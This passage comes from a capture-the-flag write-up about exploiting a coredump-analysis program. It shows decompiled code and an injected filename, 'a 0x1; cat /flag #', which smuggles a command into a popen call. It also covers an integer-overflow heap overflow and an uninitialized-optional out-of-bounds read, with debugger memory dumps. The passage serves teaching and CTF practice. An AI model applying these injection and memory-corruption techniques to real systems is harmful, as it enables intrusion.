  <span class="k">return</span> <span class="p">(</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">memoryProtections</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="backtracebacktrace">Backtrace::Backtrace()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">Backtrace</span><span class="o">::</span><span class="n">Backtrace</span><span class="p">(</span><span class="n">Backtrace</span> <span class="o">*</span><span class="k">this</span><span class="p">,</span> <span class="n">ulong</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* variables */</span>
  
  <span class="k">this</span><span class="o">-&gt;</span><span class="n">address</span> <span class="o">=</span> <span class="n">address</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">unsigned_int</span><span class="o">&gt;::</span><span class="n">optional</span><span class="p">();</span>
  <span class="n">tmpThis</span> <span class="o">=</span> <span class="p">(</span><span class="n">CallFrame</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">offset</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="n">tmpThis</span> <span class="o">=</span> <span class="p">(</span><span class="n">CallFrame</span> <span class="o">*</span><span class="p">)(</span><span class="n">tmpThis</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span> <span class="o">-</span><span class="mi">1</span> <span class="o">&lt;</span> <span class="n">offset</span><span class="p">;</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">offset</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">CallFrame</span><span class="o">::</span><span class="n">CallFrame</span><span class="p">(</span><span class="n">tmpThis</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">memset</span><span class="p">(</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="backtracepushmodule">Backtrace::PushModule()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">Backtrace</span><span class="o">::</span><span class="n">PushModule</span><span class="p">(</span><span class="n">Backtrace</span> <span class="o">*</span><span class="k">this</span><span class="p">,</span> <span class="n">Binary</span> <span class="o">*</span><span class="n">binary</span><span class="p">,</span> <span class="n">ulong</span> <span class="n">addrInCore</span><span class="p">,</span> <span class="n">ulong</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* variables */</span>
  
  <span class="n">hasValue</span> <span class="o">=</span> <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span><span class="p">.</span><span class="n">has_value</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">hasValue</span> <span class="o">!=</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">initValue</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span> <span class="o">=</span> <span class="n">initValue</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">maxValue</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span> <span class="o">&lt;=</span> <span class="n">maxValue</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">frameCount</span> <span class="o">=</span> <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span><span class="p">.</span><span class="n">value</span><span class="p">();</span>
    <span class="n">newFrameCount</span> <span class="o">=</span> <span class="n">frameCount</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span> <span class="o">=</span> <span class="n">newFrameCount</span><span class="p">;</span>
    <span class="n">vAddr</span> <span class="o">=</span> <span class="n">binary</span><span class="p">.</span><span class="n">GetVirtualAddress</span><span class="p">();</span>
    <span class="n">currFrame</span> <span class="o">=</span> <span class="n">CallFrame</span><span class="o">::</span><span class="n">CallFrame</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">addrInCore</span> <span class="o">-</span> <span class="n">vAddr</span><span class="p">,</span> <span class="n">binary</span><span class="p">);</span>
    <span class="n">frameCount</span> <span class="o">=</span> <span class="o">*</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span><span class="p">;</span>
    <span class="n">frameIdx</span> <span class="o">=</span> <span class="n">frameCount</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">this</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">frameIdx</span><span class="p">].</span><span class="n">field0_0x0</span> <span class="o">=</span> <span class="n">currFrame</span><span class="p">.</span><span class="n">field0_0x0</span><span class="p">;</span>
    <span class="k">this</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">frameIdx</span><span class="p">].</span><span class="n">field1_0x8</span> <span class="o">=</span> <span class="n">currFrame</span><span class="p">.</span><span class="n">field1_0x8</span><span class="p">;</span>
    <span class="k">this</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">frameIdx</span><span class="p">].</span><span class="n">binary</span> <span class="o">=</span> <span class="n">currFrame</span><span class="p">.</span><span class="n">binary</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="backtracegetframecount">Backtrace::GetFrameCount()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">uint</span> <span class="n">__thiscall</span> <span class="n">Backtrace</span><span class="o">::</span><span class="n">GetFrameCount</span><span class="p">(</span><span class="n">Backtrace</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">uint</span> <span class="o">*</span><span class="n">frameCountPtr</span><span class="p">;</span>
  
  <span class="n">frameCountPtr</span> <span class="o">=</span> <span class="o">*</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span><span class="p">;</span>
  <span class="k">return</span> <span class="o">*</span><span class="n">frameCountPtr</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="symbolizersymbolicate">Symbolizer::Symbolicate()</h4>

<p>This is probably the most juicy part of the code because of that part:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">length</span> <span class="o">=</span> <span class="n">snprintf</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s">"%s --obj=%s %p"</span><span class="p">,</span> <span class="s">"llvm-symbolizer"</span><span class="p">,</span> <span class="n">binaryName</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
<span class="n">commandBuf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">((</span><span class="kt">long</span><span class="p">)(</span><span class="n">length</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
<span class="n">binaryName</span> <span class="o">=</span> <span class="n">binary</span><span class="p">.</span><span class="n">GetFileName</span><span class="p">();</span>
<span class="n">snprintf</span><span class="p">(</span><span class="n">commandBuf</span><span class="p">,</span> <span class="n">length</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="s">"%s --obj=%s %p"</span><span class="p">,</span> <span class="s">"llvm-symbolizer"</span><span class="p">,</span> <span class="n">binaryName</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
<span class="n">popen</span><span class="p">(</span><span class="n">commandBuf</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
</code></pre></div></div>

<p>The function inserts the binary name to the command and executes it. We will win if we make <code class="language-plaintext highlighter-rouge">Binary::GetFileName()</code> return something like this:
<code class="language-plaintext highlighter-rouge">a 0x1; cat /flag #</code> because the executed command will look like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>llvm-symbolizer <span class="nt">--obj</span><span class="o">=</span>a 0x1<span class="p">;</span> <span class="nb">cat</span> /flag <span class="c"># $offset</span>
</code></pre></div></div>

<p>and the program is later returning to us the output of the function, so flag would be there!</p>

<blockquote class="prompt-info">
  <p>It is indeed possible to simply overwrite the filename in the <em>coredump</em> file but this is unintended solution, so no fun.
In order to proceed with the writeup we have to assume the program is validating the filename when parsing <em>coredump</em> file
for example by checking if the file exists.</p>
</blockquote>

<h2 id="vulnerabilities">vulnerabilities</h2>

<h3 id="corefileparsentfile-1">Corefile::ParseNtFile()</h3>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code> function calls <code class="language-plaintext highlighter-rouge">malloc(size &lt;&lt; 3)</code> <strong>where <code class="language-plaintext highlighter-rouge">size</code> is taken directly from <em>coredump</em> file.</strong>
The means we are able to cause <code class="language-plaintext highlighter-rouge">Integer Overflow</code> here.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;utility&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;optional&gt;</span><span class="cp">
</span>

<span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>


<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">ulong</span> <span class="n">test</span> <span class="o">=</span> <span class="mh">0x2000000000000000</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"0x%lx vs 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">test</span><span class="p">,</span> <span class="n">test</span><span class="o">&lt;&lt;</span><span class="mi">3</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  tests git:<span class="o">(</span>main<span class="o">)</span> ✗ g++ int_overflow.cpp <span class="nt">-std</span><span class="o">=</span>c++17 <span class="nt">-o</span> int_overflow
➜  tests git:<span class="o">(</span>main<span class="o">)</span> ✗ ./int_overflow
0x2000000000000000 vs 0x0
</code></pre></div></div>

<p>considering the fact that allocated chunk is later used to copy data from <em>coredump</em> file into it and the size is used to determine
how much data to copy - we have <code class="language-plaintext highlighter-rouge">Heap Overflow</code> here with ability to overwrite memory with whatever we want (buffer is under our control).</p>

<h3 id="backtracegetframecount-1">Backtrace::GetFrameCount()</h3>

<p>The function is not vulnerable by it’s own. It is the design which can cause vulnerabilities wherever this function is used.
<code class="language-plaintext highlighter-rouge">Backtrace::frameCount</code> is of type <code class="language-plaintext highlighter-rouge">std::optional&lt;unsigned int&gt;</code> which means that the value can be uninitialized in some cases.
However, the function <code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> doesn’t check whether <code class="language-plaintext highlighter-rouge">std::optional::has_value()</code>.
In that case, the caller would be responsible for checking if the value is initialized.</p>

<p>The <code class="language-plaintext highlighter-rouge">frameCount</code> is fetched in three places:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hasValue</span> <span class="o">=</span> <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span><span class="p">.</span><span class="n">has_value</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hasValue</span> <span class="o">!=</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">initValue</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">this</span><span class="o">-&gt;</span><span class="n">frameCount</span> <span class="o">=</span> <span class="n">initValue</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
    <p>the function correctly checks if the <code class="language-plaintext highlighter-rouge">frameCount</code> is initialized with a value. Otherwise, it initializes the <code class="language-plaintext highlighter-rouge">frameCount</code> with 1.</p>
  </li>
  <li><code class="language-plaintext highlighter-rouge">Corefile::GetBacktrace()</code>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">frameCount</span> <span class="o">=</span> <span class="n">Backtrace</span><span class="o">::</span><span class="n">GetFrameCount</span><span class="p">(</span><span class="n">backtrace</span><span class="p">);</span>
<span class="n">clog</span><span class="p">(</span><span class="n">frameCount</span><span class="p">);</span>
</code></pre></div>    </div>
    <p>the function doesn’t check if the <code class="language-plaintext highlighter-rouge">frameCount</code> is initialized, nothing interesting as it just logs the value.</p>
  </li>
  <li><code class="language-plaintext highlighter-rouge">main()</code>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">frameCount</span> <span class="o">=</span> <span class="n">backtrace</span><span class="p">.</span><span class="n">GetFrameCount</span><span class="p">();</span>
<span class="n">endFrameCount</span> <span class="o">=</span> <span class="n">frameCount</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">currFrameIdx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">&lt;</span> <span class="n">endFrameCount</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">=</span> <span class="n">currFrameIdx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">field0_0x0</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field0_0x0</span><span class="p">;</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">field1_0x8</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field1_0x8</span><span class="p">;</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">binary</span><span class="p">;</span>
  <span class="n">threads</span> <span class="o">=</span> <span class="n">callFrame</span><span class="p">.</span><span class="n">GetSP</span><span class="p">();</span>
  <span class="n">binary</span> <span class="o">=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="n">callFrame</span><span class="p">.</span><span class="n">GetBinary</span><span class="p">();</span>
  <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolizer</span><span class="p">(</span><span class="n">local_298</span><span class="p">,</span><span class="n">binary</span><span class="p">,</span><span class="n">threads</span><span class="p">);</span>
  <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolicate</span><span class="p">[</span><span class="n">abi</span><span class="o">:</span><span class="n">cxx11</span><span class="p">]();</span>
</code></pre></div>    </div>
    <p>the function doesn’t check if the <code class="language-plaintext highlighter-rouge">frameCount</code> is initialized and gets into a loop where <strong>number of iterations is equal to <code class="language-plaintext highlighter-rouge">frameCount</code>.</strong>
The <code class="language-plaintext highlighter-rouge">for</code> loop iterates over <code class="language-plaintext highlighter-rouge">Backtrace::frames</code> list of <code class="language-plaintext highlighter-rouge">CallFrame</code> structures.
It then gets the binary address for <code class="language-plaintext highlighter-rouge">CallFrame</code> structure and passes it to <code class="language-plaintext highlighter-rouge">Symbolizer</code>.</p>
  </li>
</ol>

<p>Ther is only one puzzle missing. How the initialization of <code class="language-plaintext highlighter-rouge">frameCount</code> is performed:</p>

<h3 id="backtracebacktrace-1">Backtrace::Backtrace()</h3>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">Backtrace</span><span class="o">::</span><span class="n">Backtrace</span><span class="p">(</span><span class="n">Backtrace</span> <span class="o">*</span><span class="k">this</span><span class="p">,</span> <span class="n">ulong</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* variables */</span>
  
  <span class="k">this</span><span class="o">-&gt;</span><span class="n">address</span> <span class="o">=</span> <span class="n">address</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">unsigned_int</span><span class="o">&gt;::</span><span class="n">optional</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">nullopt_t</span><span class="p">);</span>

  <span class="cm">/* not important code */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>if basically calls a <code class="language-plaintext highlighter-rouge">std::optional&lt;unsigned_int&gt;</code> constructor with <code class="language-plaintext highlighter-rouge">std::nullopt_t</code> without setting the value.
I decided to manually overwrite the memory before initialization of <code class="language-plaintext highlighter-rouge">std::optional</code> and check what value will <code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> return in main.</p>

<ol>
  <li>Set the breakpoint to <code class="language-plaintext highlighter-rouge">Backtrace::Backtrace()</code> constructor
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; b Backtrace::Backtrace<span class="o">(</span>unsigned long<span class="o">)</span> 
Breakpoint 5 at 0x71f8 <span class="o">(</span>2 locations<span class="o">)</span>
</code></pre></div>    </div>
  </li>
  <li>Overwrite the memory
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; p/x <span class="nv">$rdi</span> <span class="c"># get address of Backtrace object</span>
<span class="nv">$1</span> <span class="o">=</span> 0x562592378e00
pwndbg&gt; <span class="nb">set</span> <span class="o">{</span>long<span class="o">}(</span>0x562592378e00+0x10<span class="o">)=</span>0xdeadbeefcafebabe <span class="c"># overwrite the memory</span>
</code></pre></div>    </div>
  </li>
  <li>Compare memory before and after calling constructor
    <div class="language-telescope highlighter-rouge"><div class="highlight"><pre class="highlight"><code># step until std::optional constructor is called
<span class="gp">pwndbg&gt;</span> x/10xg <span class="mh">0x562592378df0</span>
<span class="nl">0x562592378df0</span><span class="p">:</span>	<span class="mh">0x000000006f732e31</span>	<span class="mh">0x00000000000000d1</span> <span class="c1"># beginning of Backtrace object</span>
<span class="nl">0x562592378e00</span><span class="p">:</span>	<span class="mh">0x00007ffc0b3e1d90</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x562592378e10</span><span class="p">:</span>	<span class="mh">0xdeadbeefcafebabe</span>	<span class="mh">0x0000000000000000</span> <span class="c1"># overwritten memory</span>
# step out of the constructor
<span class="gp">pwndbg&gt;</span> x/10xg <span class="mh">0x562592378df0</span>
<span class="nl">0x562592378df0</span><span class="p">:</span>	<span class="mh">0x000000006f732e31</span>	<span class="mh">0x00000000000000d1</span> <span class="c1"># beginning of Backtrace object</span>
<span class="nl">0x562592378e00</span><span class="p">:</span>	<span class="mh">0x00007ffc0b3e1d90</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x562592378e10</span><span class="p">:</span>	<span class="mh">0xdeadbe00cafebabe</span>	<span class="mh">0x0000000000000000</span> <span class="c1"># overwritten memory</span>
<span class="nl">0x562592378e20</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x562592378e30</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>The bytes at offset 4 was set to <code class="language-plaintext highlighter-rouge">0x00</code> and nothing more. This is the byte used to determine if the <code class="language-plaintext highlighter-rouge">std::optional</code> object has a value.</p>

<h2 id="exploitation">exploitation</h2>

<h3 id="analysis-summary">analysis summary</h3>

<ol>
  <li>We want to trick the program into executing command with malicious filename but we are not able to simply pass it from <em>coredump</em> file</li>
  <li>We have heap overflow in <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code></li>
  <li>The <code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> can return uninitialized value and the loop in main relies on the value</li>
  <li>The <code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code> function initializes the value of <code class="language-plaintext highlighter-rouge">frameCount</code></li>
</ol>

<h3 id="idea">idea</h3>

<ol>
  <li>Abuse the heap overflow in order to overwrite the memory that will later be used for <code class="language-plaintext highlighter-rouge">std::optional</code>.</li>
  <li>Initialize the <code class="language-plaintext highlighter-rouge">Backtrace</code> object</li>
  <li>Avoid calling <code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code> from <code class="language-plaintext highlighter-rouge">StackWalker::GetBacktrace()</code></li>
</ol>

<p>If we manage to execute those steps we will have control over the <code class="language-plaintext highlighter-rouge">frameCount</code>. It is important to remember where it is used:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">frameCount</span> <span class="o">=</span> <span class="n">backtrace</span><span class="p">.</span><span class="n">GetFrameCount</span><span class="p">();</span>
<span class="n">endFrameCount</span> <span class="o">=</span> <span class="n">frameCount</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">currFrameIdx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">&lt;</span> <span class="n">endFrameCount</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">=</span> <span class="n">currFrameIdx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">field0_0x0</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field0_0x0</span><span class="p">;</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">field1_0x8</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field1_0x8</span><span class="p">;</span>
  <span class="n">callFrame</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">binary</span><span class="p">;</span>
  <span class="n">threads</span> <span class="o">=</span> <span class="n">callFrame</span><span class="p">.</span><span class="n">GetSP</span><span class="p">();</span>
  <span class="n">binary</span> <span class="o">=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="n">callFrame</span><span class="p">.</span><span class="n">GetBinary</span><span class="p">();</span>
  <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolizer</span><span class="p">(</span><span class="n">local_298</span><span class="p">,</span><span class="n">binary</span><span class="p">,</span><span class="n">threads</span><span class="p">);</span>
  <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolicate</span><span class="p">[</span><span class="n">abi</span><span class="o">:</span><span class="n">cxx11</span><span class="p">]();</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Binary</span> <span class="p">{</span>
  <span class="kt">uint64_t</span> <span class="n">core</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">size</span><span class="p">;</span>
  <span class="kt">char</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span> <span class="n">fileName</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">virtualAddress</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">memoryProtections</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">class</span> <span class="nc">CallFrame</span> <span class="p">{</span>
  <span class="kt">uint64_t</span> <span class="n">field0</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">field1</span><span class="p">;</span>
  <span class="n">Binary</span><span class="o">*</span> <span class="n">binaryAddr</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">class</span> <span class="nc">Backtrace</span> <span class="p">{</span>
  <span class="kt">uint64_t</span> <span class="n">address</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">field1</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">unsigned_int</span><span class="o">&gt;</span> <span class="n">frameCount</span><span class="p">;</span>
  <span class="n">CallFrame</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="n">callFrame</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>If <code class="language-plaintext highlighter-rouge">frameCount</code> will return value bigger than 6 we would have OOB read. We could abuse that to trick program into reading our fake <code class="language-plaintext highlighter-rouge">CallFrame</code> object
that would have set <code class="language-plaintext highlighter-rouge">binaryAddr</code> to fake <code class="language-plaintext highlighter-rouge">Binary</code> object with malicious filename.</p>

<h3 id="implementation">implementation</h3>

<p>It’s time to implement steps from idea in order to successfully exploit the vulnerabilities.</p>

<h4 id="heap-overflow">Heap overflow</h4>

<div class="language-telescope highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">0x5647a04a5620</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000101</span> <span class="p">===&gt;</span> allocated buffer
<span class="nl">0x5647a04a5630</span><span class="p">:</span>	<span class="mh">0x000055cf2f7b8000</span>	<span class="mh">0x000055cf2f7b9000</span>
<span class="nl">0x5647a04a5640</span><span class="p">:</span>	<span class="mh">0x000055cf2f7ba000</span>	<span class="mh">0x000055cf2f7bb000</span>
<span class="nl">0x5647a04a5650</span><span class="p">:</span>	<span class="mh">0x000055cf2f7bc000</span>	<span class="mh">0x00007efca3592000</span>
<span class="nl">0x5647a04a5660</span><span class="p">:</span>	<span class="mh">0x00007efca3595000</span>	<span class="mh">0x00007efca35a7000</span>
<span class="nl">0x5647a04a5670</span><span class="p">:</span>	<span class="mh">0x00007efca35ab000</span>	<span class="mh">0x00007efca35ac000</span>
<span class="nl">0x5647a04a5680</span><span class="p">:</span>	<span class="mh">0x00007efca35ad000</span>	<span class="mh">0x00007efca35ba000</span>
<span class="nl">0x5647a04a5690</span><span class="p">:</span>	<span class="mh">0x00007efca3661000</span>	<span class="mh">0x00007efca36fa000</span>
<span class="nl">0x5647a04a56a0</span><span class="p">:</span>	<span class="mh">0x00007efca36fb000</span>	<span class="mh">0x00007efca36fc000</span>
<span class="nl">0x5647a04a56b0</span><span class="p">:</span>	<span class="mh">0x00007efca371e000</span>	<span class="mh">0x00007efca3896000</span>
<span class="nl">0x5647a04a56c0</span><span class="p">:</span>	<span class="mh">0x00007efca38e4000</span>	<span class="mh">0x00007efca38e8000</span>
<span class="nl">0x5647a04a56d0</span><span class="p">:</span>	<span class="mh">0x00007efca38ee000</span>	<span class="mh">0x00007efca3984000</span>
<span class="nl">0x5647a04a56e0</span><span class="p">:</span>	<span class="mh">0x00007efca3a75000</span>	<span class="mh">0x00007efca3abe000</span>
<span class="nl">0x5647a04a56f0</span><span class="p">:</span>	<span class="mh">0x00007efca3abf000</span>	<span class="mh">0x00007efca3aca000</span>
<span class="nl">0x5647a04a5700</span><span class="p">:</span>	<span class="mh">0x00007efca3af4000</span>	<span class="mh">0x00007efca3af5000</span>
<span class="nl">0x5647a04a5710</span><span class="p">:</span>	<span class="mh">0x00007efca3b18000</span>	<span class="mh">0x00007efca3b21000</span>
<span class="nl">0x5647a04a5720</span><span class="p">:</span>	<span class="mh">0x00007efca3b22000</span>	<span class="mh">0x0000000000000051</span> <span class="p">===&gt;</span> binary filename
<span class="nl">0x5647a04a5730</span><span class="p">:</span>	<span class="mh">0x44442f656d6f682f</span>	<span class="mh">0x4444444444444444</span>
<span class="nl">0x5647a04a5740</span><span class="p">:</span>	<span class="mh">0x4444444444444444</span>	<span class="mh">0x4444444444444444</span>
<span class="nl">0x5647a04a5750</span><span class="p">:</span>	<span class="mh">0x4444444444444444</span>	<span class="mh">0x4444444444444444</span>
<span class="nl">0x5647a04a5760</span><span class="p">:</span>	<span class="mh">0x4444444444444444</span>	<span class="mh">0x68736172632f4444</span>
.
.
.
<span class="nl">0x5647a04a5dc0</span><span class="p">:</span>	<span class="mh">0x000000006f732e31</span>	<span class="mh">0x0000000000000031</span> <span class="p">===&gt;</span> binary filename
<span class="nl">0x5647a04a5dd0</span><span class="p">:</span>	<span class="mh">0x62696c2f7273752f</span>	<span class="mh">0x2d34365f3638782f</span>
<span class="nl">0x5647a04a5de0</span><span class="p">:</span>	<span class="mh">0x6e672d78756e696c</span>	<span class="mh">0x332e322d646c2f75</span>
<span class="nl">0x5647a04a5df0</span><span class="p">:</span>	<span class="mh">0x000000006f732e31</span>	<span class="mh">0x00000000000000d1</span> <span class="p">===&gt;</span> Backtrace object
<span class="nl">0x5647a04a5e00</span><span class="p">:</span>	<span class="mh">0x00007ffc0b3e1d90</span>	<span class="mh">0x0000000000000000</span>
